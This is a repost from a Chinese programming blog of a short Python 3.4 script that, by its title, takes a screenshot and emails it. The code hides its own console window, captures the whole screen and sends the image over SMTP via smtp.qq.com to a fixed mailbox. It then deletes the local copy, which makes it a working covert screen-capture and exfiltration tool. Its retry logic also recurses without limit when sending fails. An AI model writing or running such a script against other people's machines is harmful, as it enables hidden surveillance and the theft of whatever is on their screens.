码迷,mamicode.com
首页 > 编程语言 > 详细

Python3.4 截屏并将图片发至邮箱

时间:2015-03-28 08:53:58      阅读:393      评论:0      收藏:0      [点我收藏+]

标签:python   图片   email   

from PIL import ImageGrab
import ctypes
import time
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.image import MIMEImage
import smtplib
import os
whnd = ctypes.windll.kernel32.GetConsoleWindow()
if whnd != 0:
    ctypes.windll.user32.ShowWindow(whnd, 0)
    ctypes.windll.kernel32.CloseHandle(whnd)
def sendfiles():
    try:
        user = '********@qq.com'
        pwd = '********'
        to = ['******@qq.com']
        msgRoot = MIMEMultipart('related')
        msgRoot['Subject'] = '截图'
        msgText = MIMEText(
            '''<b> Some <i> HTML </i> text </b > and an image.<img alt="" src="cid:image1"/>good!''', 'html', 'utf-8')
        msgRoot.attach(msgText)
        fp = open('./abc.bmp', 'rb')
        msgImage = MIMEImage(fp.read())
        fp.close()
        msgImage.add_header('Content-ID', '<image1>')
        msgRoot.attach(msgImage)
        s = smtplib.SMTP('smtp.qq.com')
        s.login(user, pwd)
        s.sendmail(user, to, msgRoot.as_string())
        print('发送成功')
        s.close()
    except:
        sendfiles()
img = ImageGrab.grab()
img.save('./abc.bmp')
sendfiles()
os.remove('./abc.bmp')
time.sleep(180)

Python3.4 截屏并将图片发至邮箱

标签:python   图片   email   

原文地址:http://blog.csdn.net/u013511642/article/details/44683543

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!